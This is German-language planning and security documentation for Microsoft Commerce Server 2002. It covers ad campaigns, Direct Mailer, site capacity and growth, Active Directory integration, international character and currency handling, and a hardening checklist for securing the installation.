Content Selection Framework (CSF) ist ein Framework, das auf der Commerce Server 2002-Pipeline-Architektur basiert. CSF wird hauptsächlich für das Kampagnenmanagement verwendet (Bereitstellung von Anzeigen und Werbekampagnen). Dennoch ist es ausreichend flexibel, um beliebige Inhalte in Hierarchien einzuordnen, auszuwählen und zu planen.

Die folgende Tabelle enthält einige Fragen, die Sie bei der Planung Ihrer Onlinekampagnen beantworten sollten.

Planungsfrage | Empfehlung
Möchten Sie Kampagnen für bestimmte Benutzergruppen durchführen? Welche Benutzerattribute möchten Sie in diesem Fall dazu heranziehen? | Verwenden Sie das Geschäftsanalysesystem, um bestimmte Kaufmuster in Ihrer Site zu analysieren und diese Informationen in das Zielgruppenadressierungssystem einzubinden. Die Planung in diesem Bereich ist ein fortlaufender Prozess.
Möchten Sie Werbung an andere Organisationen verkaufen? Wie gestaltet sich in diesem Fall die Preisliste für die Werbung? | Stellen Sie eine Preisliste zusammen, wenn Sie dies nicht bereits vorgenommen haben. Die Informationen benötigen Sie, wenn Sie die Kampagnen in Commerce Server Business Desk einrichten.
Wer trifft Entscheidungen über Preisnachlasslisten? Welche Richtlinien sollen für diese Entscheidungen gelten? | Koordinieren Sie die Preisnachlässe mit den Werbekampagnen, um eine maximale Effektivität zu erzielen.
Welche Informationen benötigen Sie aus dem Geschäftsanalysesystem, um Preisentscheidungen zu treffen? | Legen Sie den Informationsbedarf für CSF fest, und bewerten bzw. modifizieren Sie die Berichte des Geschäftsanalysesystems anhand dieser Festlegung.

Siehe auch

Extending the Content Selection Framework (englisches Thema)


Planen von Direct Mailer

Commerce Server Direct Mailer wird zur Verwaltung von Benutzeradressenlisten und zur Koordinierung des E-Mail-Versands an Mitglieder verwendet. Sie können die von Ihnen erstellte E-Mail mithilfe von Active Server Pages (ASP) personalisieren, bzw. es kann sich dabei um eine statische Datei handeln. Mit dem Modul "Listen-Manager" können Sie E-Mail-Adressen aus einer Textdatei oder einer Microsoft SQL Server-Datenbank in eine Adressdatenbank importieren.

Die folgende Tabelle enthält einige Fragen, die Sie bei der Planung Ihrer Direktsendungskampagnen beantworten sollten.

Planungsfrage | Empfehlung
Wie können Ihnen Benutzer mitteilen, dass sie von der Direktsendungsliste entfernt werden möchten? | Schließen Sie in Ihre Direktsendungen immer die Möglichkeit der Abonnementkündigung ein.
Wie oft möchten Sie Direktsendungen versenden? | Stellen Sie einen Plan auf, und entwickeln Sie ein Skript, um den Prozess zu automatisieren.
Soll die Direktsendung personalisiert werden? Welche Benutzerprofilinformationen möchten Sie in die Personalisierung einschließen? | Personalisierte Sendungen sind wirkungsvoller. Entwerfen Sie Benutzerprofile, um die für die Direktsendungen zu verwendenden Attribute einzubinden.

Siehe auch

Informationen zu Direct Mailer

Direct Mailer Pipeline (englisches Thema)

Ausführen von Direct Mailer

Entwickeln von Direktsendungsinhalten


Planen der Ausdrucksbewertung

Die Ausdrucksbewertung wird verwendet, um Geschäftsregeln zum Versand von personalisierten Anzeigen, Preisnachlässen und Inhalten zu erstellen. Diese Regeln stellen Bedingungen dar.

Die folgende Tabelle enthält einige Fragen, die Sie bei der Planung der Ausdrucksbewertung beantworten sollten.

Planungsfrage | Empfehlung
Welches Erlebnis möchten Sie den Benutzern vermitteln? Welche Geschäftsregeln benötigen Sie, um dieses Erlebnis zu implementieren? | Um das gewünschte Benutzererlebnis zu vermitteln, müssen Sie Ausdrücke erstellen, die in der Ausdrucksbewertung bewertet werden. Legen Sie Ihren Ausdrücken die Personalisierungsanforderungen zugrunde, die Sie für das Zielgruppenadressierungssystem entwickelt haben. Falls Sie z. B. Inhalte abhängig von einem sich darauf beziehenden URL anzeigen möchten, können Sie den Ausdruck "Verweiser ist gleich URL" erstellen.
Welche Sitebegriffe werden zur Erstellung der erforderlichen Geschäftsregeln benötigt? | Erstellen Sie Sitebegriffe, um die von Ihnen identifizierten Ausdrücke zu unterstützen. Im vorangegangenen Beispiel müssten Sie z. B. den Sitebegriff "Verweiser" entwickeln.

Siehe auch

Ausdrucks-Generator

Ausdrucksbasierte Zielgruppenadressierung

Zielgruppenadressierung von Anzeigen

Erstellen eines Sitebegriffs


Planen der Sitearchitektur

Die Planung der allgemeinen Architektur Ihrer E-Commerce-Präsenz umfasst auch eine Wachstumsplanung sowie das Setzen von Performancemaßstäben und Sicherheitsansprüchen. Dieser Abschnitt beschreibt einige Planungsüberlegungen für jeden dieser Bereiche.

Dieser Abschnitt beinhaltet folgende Themen:

  • Planen von Kapazität und Leistung
  • Wachstumsplanung
  • Planen der Integration bestehender Systeme
  • Planen der Integration von Active Directory


Planen von Kapazität und Leistung

Inwiefern Variablen des Sitedesigns, der Programmstruktur, des Benutzerverhaltens und der Sitearchitektur die Leistung der Site beeinflussen, ist schwer vorherzusagen. Daher ist es wichtig, Kapazität und Leistung der Site zu planen und zu testen, bevor diese "live" in eine Produktionsumgebung integriert wird.

Wenn Sie eine bestehende Site migrieren, können Sie anhand der bestehenden Daten eine Analyse für die Planung der neuen Site vornehmen. Wenn Sie eine Site neu erstellen, verwenden Sie die im Microsoft Commerce Server 2000 Resource Kit enthaltenen Entwurfsrichtlinien, um eine Testsite einzurichten, die Sie vor dem eigentlichen "Live"-Start zunächst testen und optimieren können.

Leistungsplanung und Kapazitätsplanung sind eng miteinander verbunden, gehen jedoch von unterschiedlichen Perspektiven aus. Leistungsplanung bezieht sich auf den technischen Aspekt einer Site, z. B. auf den Seitendurchsatz von Active Server Pages (ASP) bzw. auf die ASP-Wartezeit. Kapazitätsplanung bezieht sich auf die Geschäftsperspektive, d. h. auf die Maximierung der Benutzerzahl, die die Site gleichzeitig verwalten kann.

Von beiden Möglichkeiten ist die Leistungsplanung die direktere. Es ist relativ einfach, eine bestimmte Anzahl von Abschlusstransaktionen pro Sekunde zu ermitteln und Vergleiche mit anderen E-Commerce-Sites anzustellen.

Die Analyse der Benutzerkapazität ist etwas komplexer. Bevor Sie die maximale Benutzerkapazität vorhersagen können, müssen Sie zunächst das Benutzerverhalten ermitteln. Anschließend verwenden Sie die Benutzerprofilinformationen zusammen mit den Leistungseigenschaften, um die Kapazität zu berechnen. Das Benutzerverhalten variiert von Site zu Site, je nachdem, wie aufwändig die Einkaufsszenerie gestaltet ist (Seitendesign, Sitedesign und Antwortzeit) und welche Produkte innerhalb welcher Produktpalette angeboten werden. Unterschiede im Benutzerverhalten können z. B. bewirken, dass eine Site 1000 Benutzer unterstützt, während eine andere Site, die auf einer identischen Plattform installiert ist, nur 200 Benutzer unterstützt.

Weitere Informationen zur Leistungsanalyse und Kapazitätsplanung finden Sie im Whitepaper Sizing Guidelines for Windows 2000 Domain Controller and Global Catalog Server unter http://go.microsoft.com/fwlink/?LinkId=6278.

Die folgende Tabelle enthält einige Fragen, die Sie bei der Leistungsplanung beantworten sollten.

Planungsfrage | Empfehlung
Welches sind die Schlüsselfaktoren für die Leistungsmessung? | Wählen Sie die Faktoren, die Ihre Erwartungen an das Benutzererlebnis am besten widerspiegeln. Wenn Sie z. B. wollen, dass Benutzer den Katalog möglichst schnell durchblättern können, messen Sie die Geschwindigkeit, mit der eine Anforderung für die Katalogsuche beantwortet wird.
Welches sind die wichtigsten Verwendungsprofile für die Leistungsmessung? | Schätzen Sie die typische Verbindungsart der Benutzer und die typische Sitebelastung ab. Beginnen Sie mit diesem Verwendungsprofil in der Testumgebung, und überprüfen Sie später, ob die Profile korrekt sind, wenn Sie Verwendungsinformationen im Commerce Server-Data Warehouse gesammelt haben.
Welche Tools und Ressourcen möchten Sie verwenden, um die Leistung Ihrer Site zu messen? | Sehen Sie sich die Leistungstools im Commerce Server 2000 Resource Kit an, um festzustellen, ob sie Ihren Anforderungen entsprechen.
Wie viele Server benötigen Sie für Ihre Site? Wie sollen sie konfiguriert werden? | Sehen Sie sich zuerst die Konfigurationsinformationen des Verwendungsszenarios im Commerce Server 2000 Resource Kit an. Vergleichen Sie diese Szenarien mit den Anforderungen Ihrer Site, und modifizieren Sie die Konfigurationen entsprechend Ihren Bedürfnissen.
Wie schätzen Sie die Steigerungsrate bezüglich der Siteverwendung ein? | Kalkulieren Sie in den ersten Phasen der Sitebereitstellung Überschusskapazitäten ein. Vergleichen Sie in regelmäßigen Abständen das tatsächliche Wachstum mit Hochrechnungen.
Wie soll die Belastung einzelner Server innerhalb Ihrer gesamten Site ausgeglichen werden? | Informationen zum Netzwerklastenausgleich (Network Load Balancing, NLB) finden Sie im Microsoft Windows 2000 Resource Kit und im Commerce Server 2000 Resource Kit.

Siehe auch

Optimieren von Commerce Server

Überwachen von Commerce Server-Sites


Wachstumsplanung

Ihr anfängliches Sitedesign sollte für zukünftige Erweiterungen ausgelegt sein. Eine gut geplante Site lässt sich kosteneffektiv erweitern bzw. skalieren, um sie an erhöhten Siteverkehr anpassen und die Leistung erhalten zu können.

Um das zukünftige Wachstum Ihrer Site zu planen, sollten Sie Ihre Sitearchitektur auf zwei Hauptebenen ansiedeln: einerseits Front-End-Webserver, andererseits Back-End-Systeme, auf denen Daten gespeichert werden und Ihre Geschäftsverarbeitungssysteme laufen. Jede dieser Ebenen kann in weitere Unterebenen aufgeteilt werden, um den Wachstumshochrechnungen Ihrer Site zu entsprechen. Aufgrund der Flexibilität von Commerce Server 2002 können Sie eine Architektur wählen, die Ihren Bedürfnissen am besten entspricht.

Typischerweise wird zuerst die Back-End-Ebene vertikal angepasst, z. B. durch Aufrüsten des Servers und Erweitern des Massenspeichers. Anschließend kann auch die Datenebene funktional auf mehrere Server aufgeteilt werden. Beispielsweise kann das Commerce Server-Data Warehouse auf einem Server und die Profildatenbank auf einem anderen gespeichert werden. Mit Commerce Server können verschiedene Funktionen bereits beim Setup auf verschiedene Server aufgeteilt werden. Später ist dies mit dem Commerce Server-Manager möglich. Bei sehr großen Sites können auch einzelne Datenbanken auf mehrere Server aufgeteilt werden.

Die folgende Tabelle enthält einige Fragen, die Sie bei der Wachstumsplanung beantworten sollten.

Planungsfrage | Empfehlung
Mit welcher Sitearchitektur können Sie langfristig am besten steigenden Kapazitätsanforderungen genügen? | Sehen Sie sich die Konfigurationsinformationen des Verwendungsszenarios im Commerce Server 2000 Resource Kit an. Wählen Sie eine Konfiguration, die Ihren Anforderungen am besten entspricht.
Wie können Sie Ihre Sitekapazität bei steigenden Verwendungsanforderungen erhöhen? | Planen Sie einen Skalierungspfad für jeden Servertyp, jede Netzwerkverbindung und jede Commerce Server-Funktion. Dieser Pfad sollte einen Plan beinhalten, um die Site bei Erreichen bestimmter Grenzwerte (z. B. Anzahl gleichzeitig angemeldeter Benutzer, Speicherauslastung oder Festplattenauslastung) zu skalieren.

Siehe auch

Bereitstellen der Site


Planen der Integration bestehender Systeme

Während des Planungsprozesses müssen Sie bestehende Systeme und Daten daraufhin überprüfen, inwiefern diese effektiv in Commerce Server 2002-Komponenten integriert bzw. in Formate konvertiert werden können, die mit Commerce Server-Datenbanken kompatibel sind. Außerdem müssen Sie die Einbindung Ihrer E-Commerce-Geschäftssysteme planen.

Die folgende Tabelle enthält einige Fragen, die Sie bei der Integrationsplanung beantworten sollten.

Planungsfrage | Empfehlung
Möchten Sie bestehende Datenbanken und Datenbankserver integrieren, die z. B. Katalogdaten, Benutzerprofile oder Kunden enthalten? | Wenn Sie separate Datenquellen für Ihre Offline- und Onlinegeschäfte beibehalten möchten, müssen Sie ein System zur Synchronisation der Daten einrichten. Es empfiehlt sich, Microsoft Host Integration Server 2000 und Microsoft Application Center 2000 in das Gesamtsystemdesign zu integrieren.
Möchten Sie die bestehenden Bestellungsverarbeitungs-, Zahlungs-, Inventarverwaltungs- und Bestellungsausführungssysteme in Commerce Server integrieren? | Falls Sie planen, diese Systeme zu integrieren, entwickeln Sie Component Object Model (COM)-Komponenten, um sie mit Commerce Server zu verbinden. Es empfiehlt sich, Microsoft BizTalk Server 2000 in das Gesamtsystemdesign zu integrieren
Müssen Sie Enterprise Resource Planning (ERP)-Systeme mit Lieferanten und Geschäftspartnern verbinden? | Wenn Sie ERP-Systeme integrieren möchten, sollten Sie BizTalk Server in das Gesamtsystemdesign einbinden.
Welche Anforderungen haben Sie an die Datenkonvertierung? | Richten Sie ein System ein, mit dem Sie bestehende Datenformate in ein mit Commerce Server kompatibles Format umwandeln. Beispielsweise müssen Katalogdaten in einem durch Tabstopps getrennten Format zunächst in Extensible Markup Language (XML) konvertiert werden, bevor sie in das Produktkatalogsystem importiert werden können.
Welche Anforderungen haben Sie an benutzerdefinierte Entwicklungen? | Obwohl Commerce Server ein ausgereiftes Produkt ist, können dennoch viele Funktionen benutzerdefiniert an Ihre persönlichen Geschäftsanforderungen angepasst werden. Sehen Sie sich die Featureliste in Commerce Server-Features im Überblick genau an, und lesen Sie die Commerce Server 2002-Hilfe, bevor Sie benutzerdefinierte Entwicklungen planen.
Möchten Sie die benutzerdefinierte Entwicklung durch eigenes Personal oder über einen Softwareanbieter durchführen lassen? | Beachten Sie die Informationen zu Microsoft-Partnern unter http://go.microsoft.com/fwlink/?LinkId=6772.

Siehe auch

Integrating with BizTalk Server (englisches Thema)

Integrating a Third-Party Product Catalog (englisches Thema)

Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site

Hinzufügen eines Nicht-Commerce-Webservers zu einer Anwendung


Planen der Integration von ActiveDirectory

Feedback zu dieser Seite senden Commerce Server 2002

Planen der Integration von Active Directory

Active Directory ist der in Microsoft Windows 2000 integrierte Verzeichnisdienst. Mit Active Directory können Sie Geschäftseinheiten Ihrer Organisation hinzufügen, modifizieren, löschen und organisieren. Über Active Directory können Sie z. B. auf Benutzerkonten, Computerkonten, Sicherheits- und Verteilergruppen von Windows 2000 sowie auf veröffentlichte Ressourcen zugreifen.

Sie können Active Directory als Datenquelle für Profildaten verwenden. Das Profilsystem aggregiert Daten aus Active Directory und anderen Datenquellen zu einer einzigen Geschäftseinheit, die Sie in Ihrer Commerce Server-Implementierung verwenden können. Sie können z. B. Kontonummer und Kennwort eines Benutzers in Active Directory speichern und den Rest der Kontoinformationen (Kontaktinformationen, Kreditlimit, Einstellungen usw.) in Microsoft SQL Server. Das Profilsystem kann aus diesen beiden Datenquellen ein einziges Profil zusammensetzen, das Sie für Zielgruppenadressierungen und Analysen verwenden können.

Active Directory ist eine sehr zuverlässige und gut skalierbare Technologie. Um sie richtig nutzen zu können, müssen Sie jedoch Ihre Sitearchitektur entsprechend gestalten.

Wenn Sie Benutzer innerhalb von Active Directory in Gruppen aufteilen möchten, achten Sie besonders darauf, dass die Leistung des Active Directory-Servers hierfür ausreicht. In Active Directory ist das Hinzufügen von Benutzern ein relativ aufwändiger Vorgang. Die Anzahl der Benutzer pro Gruppe ist auf 5.000 begrenzt.

Dieses Limit kann mit einem im Microsoft Commerce Server Software Development Kit (SDK) enthaltenen Objekt, dem so genannten Subgroup Manager, umgangen werden. Mit diesem können mehr als 5.000 Benutzer in einer "virtuellen" Gruppe gespeichert werden, da er die tatsächlichen Gruppen verbirgt, in denen die Benutzer gespeichert sind. Weitere Informationen finden Sie unter Subgroup Manager. Da die Verwendung dieser Funktion jedoch weiteren Rechenaufwand für einen ohnehin schon aufwändigen Vorgang erfordert, sollte dies unbedingt bei der Auswahl der Hardware für diese Komponente Ihrer Website berücksichtigt werden.

Die folgende Tabelle enthält einige Fragen, die Sie beantworten sollten, um festzulegen, wie Sie Active Directory am besten in Ihr Sitedesign einbinden können.

Planungsfrage | Empfehlung
Welche Daten möchten Sie in Active Directory speichern? | In Active Directory sollten Sie nur feste Daten speichern.
Welche Datenmengen möchten Sie in Active Directory speichern? Sie können bis zu einer Million Benutzerkonten in einer einzigen Active Directory-Domäne unterbringen. Diese Schätzung basiert auf folgenden Annahmen:
  • Zu jedem beliebigen Zeitpunkt nutzen 1 Prozent (10.000) der Benutzer aktiv die Site.
  • Das Verhältnis der Anzahl von Einträgen, die in Active Directory geschrieben werden, zur Anzahl der aus Active Directory gelesenen Einträge ist kleiner 14 Prozent.

Falls Sie mehr als eine Million Benutzer in Active Directory speichern möchten, können Sie mehrere Domänen mit je einer Million Benutzer zusammenlegen.

Falls Sie beabsichtigen, Active Directory in größeren Dimensionen einzusetzen, wenden Sie sich für weitere Unterstützung bei der Planung an Microsoft Consulting Services (MCS).

Siehe auch

Konfiguration einer kleinen Site mit Active Directory

Einrichten der Domänen

Migrieren des Membership-Verzeichnisses

Erstellen einer Profildefinition mit zwei Datenquellen


Planen einer internationalen Lösung

Commerce Server bietet zahlreiche Tools für die Entwicklung von internationalen Lösungen. Bevor Sie jedoch eine solche Lösung implementieren, sollten Sie wissen, welche wichtigen Entscheidungen bei deren Planung zu berücksichtigen sind. Um diese Entscheidungen treffen zu können, müssen Sie zunächst die Anforderungen an Ihre Lösung in den beiden folgenden Bereichen analysieren:

  • Anforderungen hinsichtlich der Zeichendarstellung
  • Anforderungen hinsichtlich der Währungsdarstellung


Anforderungen hinsichtlich der Zeichendarstellung

Commerce Server 2002 verwendet die von Windows 2000 und SQL Server 2000 bereitgestellten Funktionen für die Zeichendarstellung. Sie können in Ihrer Commerce Server 2002-Lösung alle Vorteile der in den zu Grunde liegenden Produkten verfügbaren Funktionen für die Zeichendarstellung nutzen. Um diese Funktionen nutzen zu können, müssen Sie jedoch bei der Planung zunächst einige wichtige Fragen beantworten. Diese sind in der folgenden Tabelle aufgeführt.

Planungsfrage | Empfehlung
Sollen Zeichen angezeigt werden, die andere Codepages innerhalb einer Website erfordern? Prinzipiell ist es möglich, Zeichen anzuzeigen, die unterschiedliche Codepages in Ihrer Site erfordern. Dabei sind jedoch gewisse Einschränkungen zu beachten. Im Allgemeinen sollten Sie eine einzelne Codepage für die folgenden Elemente planen:
  • Abfragezeichenfolgen
  • Commerce Server-Ereignisse
  • Dateinamen

Für Dateinamen ist eine einzelne Codepage erforderlich, da Dateinamen im URL-Feld angezeigt werden können. IIS-Webprotokolldateien bieten nur Unterstützung für einzelne Codepages. Diese Protokolldateien werden in das Data Warehouse importiert.
Sollen Zeichen angezeigt werden, die andere Codepages für Ihre Produktkatalogelemente erfordern? | Erstellen Sie einen einzelnen Basiskatalog, der die Beschreibungen enthält. Legen Sie die Spracheigenschaften für die entsprechenden Sprachen fest. Fügen Sie Code in Ihre Site ein, um die Produktkatalogbeschreibungen mithilfe einer entsprechenden Codepage anzuzeigen, wie unter ASP-Based Catalog Sitelet (englisches Thema) und ASP .NET-Based Catalog Sitelet (englisches Thema) dargestellt.
Sollen Zeichen angezeigt werden, die andere Codepages für Ihren Kampagneninhalt erfordern? | Im Allgemeinen müssen Sie für jede Sprache eine Version Ihres Kampagneninhalts erstellen. Bei Marketingkampagnen kann es spezifische linguistische und kulturelle Unterschiede geben, sodass es oftmals nicht ausreicht, diese einfach nur zu übesetzen. Wenn für jedes Kampagnenelement eine andere Codepage erforderlich ist, fügen Sie Code in Ihre Site ein, um die Produktkatalogbeschreibungen mithilfe einer entsprechenden Codepage anzuzeigen. Weitere Information finden Sie unter ASP-Based Advertising Sitelet (englisches Thema) und ASP .NET-Based Advertising Sitelet (englisches Thema).


Anforderungen hinsichtlich der Währungsdarstellung

Commerce Server verwendet die von Windows 2000 und SQL Server 2000 bereitgestellten Funktionen für die Währungsanzeige. Im Allgemeinen wird das Format für die Währungsanzeige (Währungssymbol und Dezimaltrennzeichen) durch den lokalen Währungsbezeichner (LCID) bestimmt. Die Position des Währungssymbols, das Symbol für die Zifferngruppierung und das Dezimaltrennzeichen (wenn zutreffend) richten sich nach dem eingestellten Gebietsschema. Das Währungssymbol sowie die Existenz von Dezimalstellen sind für eine Währung spezifisch. So lautet z. B. das Symbol für den japanischen Yen unabhängig vom eingestellten Gebietsschema und dem jeweiligen Wert immer ¥ (beim Yen gibt es keine Dezimalstellen).

Commerce Server 2002 bietet eine einfache Vorgehensweise für die Einstellung des LCID für jeweils eine Site (durch Festlegen einer Eigenschaft in der Ressource für die Anwendungsstandardkonfiguration) und die Integration des Währungsformatierungscodes Ihrer Anwendung. Um diese Funktionen nutzen zu können, müssen Sie jedoch bei der Planung zunächst einige wichtige Fragen beantworten. Diese sind in der folgenden Tabelle aufgeführt.

Planungsfrage | Empfehlung
Müssen für ein Katalogelement zwei Währungen gleichzeitig angezeigt werden (beispielsweise € und US-Dollar)? | Legen Sie die Basiswährung für die Währung, die Ihr Buchhaltungssystem für Finanzberichte verwendet, in der Ressource für die Anwendungsstandardkonfiguration fest. Legen Sie die zweite Währung als Alternativwährung fest. Speichern Sie den Wert der Basiswährung im Katalog, und errechnen Sie den Preis in der Alternativwährung zur Laufzeit mithilfe eines entsprechenden Umrechnungssatzes. Informationen zur Ressource für die Anwendungsstandardkonfiguration finden Sie unter Konfigurieren der Anwendungsstandardkonfigurations-Ressource.
Müssen Katalogpreise in Alternativwährungen, für deren Umrechnung ein fester Umrechnungssatz verwendet wird, angezeigt werden? | Speichern Sie die festen Umrechnungssätze in einer Datenbank, und verwenden Sie diese Sätze zur Berechnung einer entsprechenden Preisermittlungsregel. Dafür sollten Sie ebenfalls die Preisberechnungsregeln und die virtuellen Kataloge verwenden.


Sichern der Site

Eine Website, deren Entwurf, Entwicklung und Implementierung von Anfang an auf Sicherheit ausgerichtet ist, ist weitaus weniger anfällig als eine Site, der Sicherheitsfeatures nachträglich hinzugefügt wurden. Mit der zunehmenden Komplexität von Websites wird eine erfolgreiche Sicherung jedoch immer schwieriger. Sicherheit wird nicht durch das Konfigurieren einiger weniger Eigenschaften oder durch den Einsatz eines bestimmten Tools erreicht. Notwendig ist vielmehr eine ganzheitliche Methode, bei der Sicherheitsaspekte in allen Phasen der Planung, Entwicklung und Implementierung berücksichtigt werden.

Detaillierte Anweisungen, wie Sie Ihre Commerce Server-Installation für den Einsatz der integrierten Sicherheit von Windows konfigurieren, finden Sie unter Bereitstellen von Commerce Server mithilfe der Windows-Authentifizierung.

Dieser Abschnitt beinhaltet folgende Themen:

  • Sicherheitscheckliste. Gibt eine Übersicht über die empfohlenen Schritte zur Sicherung der Commerce Server-Installation.
  • Tipps zur Sicherheit. Gibt Empfehlungen zur Konfiguration einer sicheren Site.
  • Wichtige Sicherheitshinweise. Beschreibt bekannte Sicherheitsprobleme in Commerce Server sowie die entsprechenden Gegenmaßnahmen.
  • Verwenden der Windows-Authentifizierung. Beschreibt die Konfiguration von Commerce Server-Sites, um SQL Server-Datenbanken mit der Windows-Authentifizierung zu schützen.
  • Verwenden der SQL-Authentifizierung. Beschreibt die Sicherheitsrisiken bei Verwendung der SQL-Authentifizierung für Datenbankverbindungen anstatt der Windows-Authentifizierung.
  • Entwickeln einer sicheren Site. Erläutert die notwendigen Schritte für Entwurf und Entwicklung einer sicheren Site. Behandelt werden Probleme wie Pufferüberläufe, Skriptingprobleme bei mehreren Sites und DDoS-Angriffe.
  • Bereitstellen einer sicheren Site. Gibt einen Überblick über eine sichere Konfiguration mit drei Firewalls.
  • Sichern anonymer Konten. Beschreibt die Sicherheitserfordernisse anonymer Konten, die von Laufzeitbenutzern verwendet werden.
  • Sichern von Dienstkonten. Beschreibt die Berechtigungen, die für Commerce Server-Dienstkonten bei Verwendung der Windows-Authentifizierung für Datenbankverbindungen erforderlich sind.
  • Sichern von Business Desk. Erklärt die Sicherung der Business Desk-Anwendung und der zugehörigen Benutzeroberfläche.
  • Sichern der Datenbanken. Erläutert die Sicherung der Commerce Server-Datenbanken, wenn Windows-Authentifizierung für Datenbankverbindungen verwendet wird.
  • Sichern einer Bereitstellung des Vorhersagedienstes. Erläutert, wie die Komponenten einer Bereitstellung des Vorhersagedienstes gesichert werden.
  • Sichern des Netzwerks. Erläutert die Aktivierung von SSL (Secure Sockets Layer) auf einer Commerce Server-Site. Beschreibt außerdem Sicherheitssysteme, die vor unbefugtem Zugriff schützen.
  • Sichern des Webservers. Gibt einen Überblick über die Maßnahmen zum Sichern eines Webservers.
  • Weitere Informationen zur Sicherheit. Führt weitere Informationsquellen zu Entwicklung und Einsatz sicherer Sites auf.


Sicherheitscheckliste

Im Folgenden erhalten Sie eine Übersicht über die zum Sichern der Commerce Server-Installation empfohlenen Schritte.

  • Stellen Sie eine sichere Infrastruktur bereit.
    • Verwenden Sie Firewalls.
    • Führen Sie SQL- und Windows-Dienste aus, einschließlich der Commerce Server-Dienste Listen-Manager und Direct Mailer, und verwenden Sie dabei Konten mit möglichst wenigen Rechten. Das Benutzerkonto für die Ereignisprotokollierung muss zur lokalen Administratorgruppe gehören.
    • Beschränken Sie die Bandbreite von Anforderungen, z. B. für Warenkörbe und Auftragsabschlüsse.
    • Konfigurieren Sie die von Commerce Server verwendeten IIS-Anwendungen (Internetinformationsdienste) für die Ausführung im Modus Mittel (zusammengefasst). Wenn mehrere Sites konfiguriert sind, müssen die von Commerce Server verwendeten IIS-Anwendungen im Modus Hoch (isoliert) ausgeführt werden.
  • Stellen Sie Commerce Server mithilfe der Windows-Authentifizierung bereit.
    • Erstellen Sie Domänenkonten für die Commerce Server-Dienste und -Benutzer.
    • Installieren Sie Commerce Server mithilfe der integrierten Sicherheit von Windows.
    • Konfigurieren Sie das anonyme Konto so, dass es einem Domänenkonto zugeordnet ist.
    • Richten Sie eine vertrauenswürdige Verbindung für den Business Desk-Webserver ein.
  • Sichern Sie die Business Desk-Anwendung und die zugehörige Benutzeroberfläche.
    • Wenden Sie die NTLM-Authentifizierung bei Business Desk-Clientcomputern an, auf denen Windows NT 4.0 oder frühere Versionen ausgeführt werden.
    • Verwenden Sie das Modul "Berechtigungen" in Business Desk, um den Zugriff auf Module, Tasks, Felder und Eigenschaften einzuschränken.
    • Legen Sie die Berechtigungen für die physischen und virtuellen Business Desk-Verzeichnisse fest, sodass nur der Administrator auf diese zugreifen kann.
    • Legen Sie Berechtigungen für die Skripts "BDRefresh.asp", "RefreshApp.asp" und "Opt-Out.asp" fest, damit nur Zugriffsversuche von der IP-Adresse des Business Desk-Servers akzeptiert werden.
  • Sichern Sie die Verwaltungsdatenbank, die die Konfigurationsinformationen der entsprechenden Site enthält.
    • Verwenden Sie die Windows-Authentifizierung für die Verbindung zur Verwaltungsdatenbank.
    • Sichern Sie das SiteConfigReadOnly-Objekt, das SiteConfig-Objekt und das GlobalConfig-Objekt.
    • Beschränken Sie ausführbare Skripts, damit Unbefugte keinen Zugriff auf diese Konfigurationsobjekte erhalten.
    • Beschränken Sie die Verwendung der Objekte SiteConfig und GlobalConfig, indem Sie die Zugriffssteuerungslisten (Access Control Lists, ACLs) in den Registrierungsschlüsseln für diese Objektklassen ändern.
  • Sichern Sie die Commerce Server-Laufzeitdatenbanken.
    • Verwenden Sie die Windows-Authentifizierung für die Verbindung den Datenbanken.
    • Führen Sie die Commerce Server-Sicherheitsskripts aus, um die entsprechenden Rollen pro Datenbank zu erstellen, und ordnen Sie die Business Desk-Benutzer und das Laufzeit-Benutzerkonto anschließend den entsprechenden Rollen zu.
    • Verwenden Sie eine verschlüsselte Netzwerkverbindung, indem Sie die Verschlüsselung für Named Pipes bereitstellen: Setzen Sie die IPSec-Authentifizierung ein, aktivieren Sie die SSL-Verschlüsselung (Secure Sockets Layer), und aktivieren Sie die Multiprotokoll-Clientverschlüsselung.
    • Verwenden Sie die Commerce Server-Verschlüsselungsfeatures (z. B. unidirektionale Hashfunktionen und die asymmetrische Verschlüsselung), um Benutzerkennwörter zu verschlüsseln, d. h. Daten, die nicht entschlüsselt werden müssen. Verwenden Sie die asymmetrische Verschlüsselung, um Kreditkartennummern und Ablaufdatumsangaben zu verschlüsseln.
    • Legen Sie Berechtigungen für Laufzeitbenutzer (die Website besuchende Benutzer) und Entwurfszeitbenutzer (Benutzer, die Ihre Site mithilfe von Business Desk aktualisieren) in den Datenbanken, Tabellen und gespeicherten Prozeduren von Commerce Server fest.
  • Sichern Sie das Data Warehouse.
    • Führen Sie die DTS-Task-Sicherheitsskripts für jede Commerce Server-Datenbank aus, auf die die DTS-Tasks zugreifen müssen. Mit diesen Skripts wird die "DTS_ImportRole" für jede Datenbank erstellt, und der Rolle werden die entsprechenden Datenbankberechtigungen zugewiesen. Ordnen Sie der Rolle "DTS_ImportRole" die Anmeldekonten der Benutzer zu, die zum Ausführen der DTS-Tasks berechtigt sind.
    • Führen Sie die Berichtssicherheitsskripts für die Data Warehouse-Datenbank aus. Mit diesen Skripts werden zwei Rollen für die Data Warehouse-Datenbank erstellt: eine Rolle für Benutzer, die Berichte ausführen und anzeigen, und eine andere für Benutzer, die Berichte erstellen, löschen und ändern. Den Rollen werden die jeweils entsprechenden Datenbankberechtigungen zugewiesen. Weisen Sie Business Desk-Benutzern je nach Tätigkeitsanforderung die entsprechenden Rollen zu.
    • Richten Sie den Zugriff auf den Analysis-Server über HTTPS ein. Dadurch haben Business Desk-Benutzer die Möglichkeit, Berichte über das Internet auszuführen.
  • Sichern Sie die Direct Mailer-Datenbank.
    • Erteilen Sie dem Direct Mailer-Dienst db_owner-Zugriff.
    • Erteilen Sie dem Listen-Manager-Dienst db_owner-Zugriff.
  • Sichern Sie die Webprotokolldateien, die in das Data Warehouse importiert werden.
    • Legen Sie Zugriffssteuerungslisten für das Verzeichnis mit den Protokolldateien fest.
    • Verwenden Sie eine verschlüsselte Netzwerkverbindung (durch Anwenden von SSL und IPSec).
  • Sichern Sie die auf dem Webserver installierten Webserver- und Anwendungsdateien sowie bestimmte andere Dateien.
    • Entfernen Sie den FTP-Server, den SMTP-Server, den Indexdienst, die Microsoft FrontPage-Erweiterungen, den Skriptdebugger und den Internetdienste-Manager (HTML), sofern diese Komponenten von keiner anderen Anwendung auf dem Server verwendet werden.
    • Sichern Sie das Pipelineverzeichnis mit den ACLs, um das Downloaden von PCF- und PIPELOG-Dateien zu verhindern.
